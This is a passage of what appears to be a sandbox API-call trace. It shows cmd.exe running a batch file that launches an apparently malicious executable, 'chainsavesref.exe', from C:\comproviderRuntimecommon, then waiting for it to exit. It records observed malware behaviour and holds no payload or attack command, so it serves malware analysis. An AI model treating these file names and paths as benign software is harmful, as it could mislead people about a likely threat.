_String2="DPATH") returned -66 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="KEYS") returned -73 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="MOVE") returned -75 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="PUSHD") returned -78 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="POPD") returned -78 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="ASSOC") returned -63 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="FTYPE") returned -68 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="BREAK") returned -64 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="COLOR") returned -65 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="MKLINK") returned -75 [0093.578] _wcsnicmp (_String1="C:\\c", _String2="cmd ", _MaxCount=0x4) returned -51 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x418) returned 0x2e4f10 [0093.579] SetErrorMode (uMode=0x0) returned 0x0 [0093.579] SetErrorMode (uMode=0x1) returned 0x0 [0093.579] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\.", nBufferLength=0x208, lpBuffer=0x2e4f18, lpFilePart=0x20f0b4 | out: lpBuffer="C:\\comproviderRuntimecommon", lpFilePart=0x20f0b4*="comproviderRuntimecommon") returned 0x1b [0093.579] SetErrorMode (uMode=0x0) returned 0x1 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e4f10, Size=0x64) returned 0x2e4f10 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e4f10) returned 0x64 [0093.579] NeedCurrentDirectoryForExePathW (ExeName="C:\\comproviderRuntimecommon\\.") returned 1 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x46) returned 0x2d14a8 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x80) returned 0x2e3ed0 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e3ed0, Size=0x46) returned 0x2e3ed0 [0093.579] GetProcessHeap () returned 0x2d0000 [0093.579] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e3ed0) returned 0x46 [0093.580] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a100640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0093.580] GetProcessHeap () returned 0x2d0000 [0093.580] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe0) returned 0x2e4f80 [0093.582] GetProcessHeap () returned 0x2d0000 [0093.582] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e4f80, Size=0x76) returned 0x2e4f80 [0093.582] GetProcessHeap () returned 0x2d0000 [0093.582] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e4f80) returned 0x76 [0093.582] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.582] FindFirstFileExW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), fInfoLevelId=0x1, lpFindFileData=0x20ee50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee50) returned 0x2e3f20 [0093.582] GetProcessHeap () returned 0x2d0000 [0093.582] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e1b70, Size=0x4) returned 0x2e1b70 [0093.582] FindClose (in: hFindFile=0x2e3f20 | out: hFindFile=0x2e3f20) returned 1 [0093.582] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0093.582] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0093.582] GetConsoleTitleW (in: lpConsoleTitle=0x20ee80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.583] GetFileAttributesW (lpFileName="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"" (normalized: "c:\\comproviderruntimecommon\\\"c:\\comproviderruntimecommon\\chainsavesref.exe\"")) returned 0xffffffff [0093.583] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0093.583] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0093.583] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0093.583] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0093.583] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0093.583] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0093.583] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0093.583] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0093.583] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0093.583] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0093.583] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0093.583] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0093.583] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0093.583] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0093.583] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0093.583] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0093.583] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0093.583] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0093.583] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0093.583] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0093.583] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0093.583] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0093.584] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0093.584] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0093.584] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0093.584] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0093.584] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0093.584] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0093.584] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0093.584] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0093.584] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0093.584] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0093.584] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0093.584] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0093.584] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0093.584] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0093.584] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0093.584] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0093.584] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0093.584] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0093.584] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0093.584] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0093.584] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0093.584] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0093.584] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0093.584] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0093.584] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0093.584] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0093.584] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0093.584] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0093.585] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0093.585] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0093.585] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0093.585] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0093.585] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0093.585] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0093.585] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0093.585] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0093.585] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0093.585] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0093.585] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0093.585] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0093.585] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0093.585] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0093.585] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0093.585] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0093.585] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0093.585] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0093.585] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0093.585] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0093.585] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0093.585] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0093.585] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0093.585] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0093.585] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0093.585] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0093.585] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0093.585] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0093.585] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0093.586] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0093.586] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0093.586] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0093.586] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0093.586] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0093.586] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0093.586] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0093.586] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0093.586] GetProcessHeap () returned 0x2d0000 [0093.586] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x210) returned 0x2e5000 [0093.586] GetProcessHeap () returned 0x2d0000 [0093.586] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x68) returned 0x2e3f20 [0093.586] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x418) returned 0x2e5218 [0093.586] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\.", nBufferLength=0x208, lpBuffer=0x2e5220, lpFilePart=0x20e9a0 | out: lpBuffer="C:\\comproviderRuntimecommon", lpFilePart=0x20e9a0*="comproviderRuntimecommon") returned 0x1b [0093.586] SetErrorMode (uMode=0x0) returned 0x1 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e5218, Size=0x64) returned 0x2e5218 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5218) returned 0x64 [0093.587] NeedCurrentDirectoryForExePathW (ExeName="C:\\comproviderRuntimecommon\\.") returned 1 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x46) returned 0x2e3f90 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x80) returned 0x2e5288 [0093.587] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e5288, Size=0x46) returned 0x2e5288 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5288) returned 0x46 [0093.587] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a100640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe0) returned 0x2e52d8 [0093.587] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e52d8, Size=0x76) returned 0x2e52d8 [0093.587] GetProcessHeap () returned 0x2d0000 [0093.587] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e52d8) returned 0x76 [0093.587] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0093.587] FindFirstFileExW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), fInfoLevelId=0x1, lpFindFileData=0x20e73c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20e73c) returned 0x2e5358 [0093.588] FindClose (in: hFindFile=0x2e5358 | out: hFindFile=0x2e5358) returned 1 [0093.588] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0093.588] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0093.588] GetConsoleTitleW (in: lpConsoleTitle=0x20ec14, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.588] InitializeProcThreadAttributeList (in: lpAttributeList=0x20ea9c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20eb64 | out: lpAttributeList=0x20ea9c, lpSize=0x20eb64) returned 1 [0093.588] UpdateProcThreadAttribute (in: lpAttributeList=0x20ea9c, dwFlags=0x0, Attribute=0x60001, lpValue=0x20eb5c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20ea9c, lpPreviousValue=0x0) returned 1 [0093.588] GetStartupInfoW (in: lpStartupInfo=0x20ea58 | out: lpStartupInfo=0x20ea58*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0093.588] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2df9e8 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0093.588] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="sfxcmd=", _MaxCount=0x7) returned -16 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="sfxname", _MaxCount=0x7) returned -16 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="sfxpar=", _MaxCount=0x7) returned -16 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="sfxstim", _MaxCount=0x7) returned -16 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0093.589] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0093.590] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0093.590] GetProcessHeap () returned 0x2d0000 [0093.590] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2df9e8 | out: hHeap=0x2d0000) returned 1 [0093.590] GetProcessHeap () returned 0x2d0000 [0093.590] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa) returned 0x2d1170 [0093.590] lstrcmpW (lpString1="\\chainsavesref.exe", lpString2="\\XCOPY.EXE") returned -1 [0093.594] CreateProcessW (in: lpApplicationName="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpCommandLine="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\comproviderRuntimecommon", lpStartupInfo=0x20eaf8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20eb44 | out: lpCommandLine="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", lpProcessInformation=0x20eb44*(hProcess=0x7c, hThread=0x80, dwProcessId=0xe60, dwThreadId=0xe64)) returned 1 [0093.668] CloseHandle (hObject=0x80) returned 1 [0093.668] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0093.668] GetProcessHeap () returned 0x2d0000 [0093.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c78 | out: hHeap=0x2d0000) returned 1 [0093.668] GetEnvironmentStringsW () returned 0x2f4a18* [0093.668] GetProcessHeap () returned 0x2d0000 [0093.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xd5c) returned 0x2e5be8 [0093.668] memcpy (in: _Dst=0x2e5be8, _Src=0x2f4a18, _Size=0xd5c | out: _Dst=0x2e5be8) returned 0x2e5be8 [0093.668] FreeEnvironmentStringsW (penv=0x2f4a18) returned 1 [0093.668] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0175.743] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x20ea38 | out: lpExitCode=0x20ea38*=0x0) returned 1 [0175.744] CloseHandle (hObject=0x7c) returned 1 [0175.744] _vsnwprintf (in: _Buffer=0x20eb80, _BufferCount=0x13, _Format="%08X", _ArgList=0x20ea44 | out: _Buffer="00000000") returned 8 [0175.745] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0175.745] GetProcessHeap () returned 0x2d0000 [0175.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5be8 | out: hHeap=0x2d0000) returned 1 [0175.746] GetEnvironmentStringsW () returned 0x2e5be8* [0175.746] GetProcessHeap () returned 0x2d0000 [0175.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xd82) returned 0x2e6978 [0175.746] memcpy (in: _Dst=0x2e6978, _Src=0x2e5be8, _Size=0xd82 | out: _Dst=0x2e6978) returned 0x2e6978 [0175.746] FreeEnvironmentStringsW (penv=0x2e5be8) returned 1 [0175.746] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0175.746] GetProcessHeap () returned 0x2d0000 [0175.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e6978 | out: hHeap=0x2d0000) returned 1 [0175.746] GetEnvironmentStringsW () returned 0x2e5be8* [0175.746] GetProcessHeap () returned 0x2d0000 [0175.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xd82) returned 0x2e6978 [0175.747] memcpy (in: _Dst=0x2e6978, _Src=0x2e5be8, _Size=0xd82 | out: _Dst=0x2e6978) returned 0x2e6978 [0175.747] FreeEnvironmentStringsW (penv=0x2e5be8) returned 1 [0175.747] GetProcessHeap () returned 0x2d0000 [0175.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2d1170 | out: hHeap=0x2d0000) returned 1 [0175.747] DeleteProcThreadAttributeList (in: lpAttributeList=0x20ea9c | out: lpAttributeList=0x20ea9c) [0175.747] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.747] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0175.748] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.748] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0f41ac | out: lpMode=0x4a0f41ac) returned 1 [0175.749] _get_osfhandle (_FileHandle=0) returned 0x3 [0175.749] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0f41b0 | out: lpMode=0x4a0f41b0) returned 1 [0175.749] SetConsoleInputExeNameW () returned 0x1 [0175.749] GetConsoleOutputCP () returned 0x1b5 [0175.749] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0f4260 | out: lpCPInfo=0x4a0f4260) returned 1 [0175.749] SetThreadUILanguage (LangId=0x0) returned 0x409 [0175.750] CreateFileW (lpFileName="C:\\comproviderRuntimecommon\\DLLiR59GMmL352HHbgfc.bat" (normalized: "c:\\comproviderruntimecommon\\dllir59gmml352hhbgfc.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f2b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0175.751] _open_osfhandle (_OSFileHandle=0x7c, _Flags=8) returned 3 [0175.751] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.751] SetFilePointer (in: hFile=0x7c, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0175.751] GetProcessHeap () returned 0x2d0000 [0175.751] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e52d8 | out: hHeap=0x2d0000) returned 1 [0175.751] GetProcessHeap () returned 0x2d0000 [0175.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5288 | out: hHeap=0x2d0000) returned 1 [0175.752] GetProcessHeap () returned 0x2d0000 [0175.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e3f90 | out: hHeap=0x2d0000) returned 1 [0175.752] GetProcessHeap () returned 0x2d0000 [0175.752] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5218 | out: hHeap=0x2d0000) returned 1 [0175.752] GetProcessHeap () returned 0x2d0000 [0175.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e3f20 | out: hHeap=0x2d0000) returned 1 [0175.753] GetProcessHeap () returned 0x2d0000 [0175.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5000 | out: hHeap=0x2d0000) returned 1 [0175.753] GetProcessHeap () returned 0x2d0000 [0175.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e4f80 | out: hHeap=0x2d0000) returned 1 [0175.753] GetProcessHeap () returned 0x2d0000 [0175.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e3ed0 | out: hHeap=0x2d0000) returned 1 [0175.754] GetProcessHeap () returned 0x2d0000 [0175.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2d14a8 | out: hHeap=0x2d0000) returned 1 [0175.754] GetProcessHeap () returned 0x2d0000 [0175.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e4f10 | out: hHeap=0x2d0000) returned 1 [0175.754] GetProcessHeap () returned 0x2d0000 [0175.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e3e60 | out: hHeap=0x2d0000) returned 1 [0175.755] GetProcessHeap () returned 0x2d0000 [0175.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e3e00 | out: hHeap=0x2d0000) returned 1 [0175.755] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.755] SetFilePointer (in: hFile=0x7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0175.755] ReadFile (in: hFile=0x7c, lpBuffer=0x4a0f6640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f29c, lpOverlapped=0x0 | out: lpBuffer=0x4a0f6640*, lpNumberOfBytesRead=0x20f29c*=0x0, lpOverlapped=0x0) returned 1 [0175.756] GetLastError () returned 0x0 [0175.756] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.756] GetFileType (hFile=0x7c) returned 0x1 [0175.756] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.756] SetFilePointer (in: hFile=0x7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0175.756] GetProcessHeap () returned 0x2d0000 [0175.756] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x400a) returned 0x2f57a8 [0175.757] GetProcessHeap () returned 0x2d0000 [0175.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2f57a8 | out: hHeap=0x2d0000) returned 1 [0175.758] _get_osfhandle (_FileHandle=3) returned 0x7c [0175.758] SetFilePointer (in: hFile=0x7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 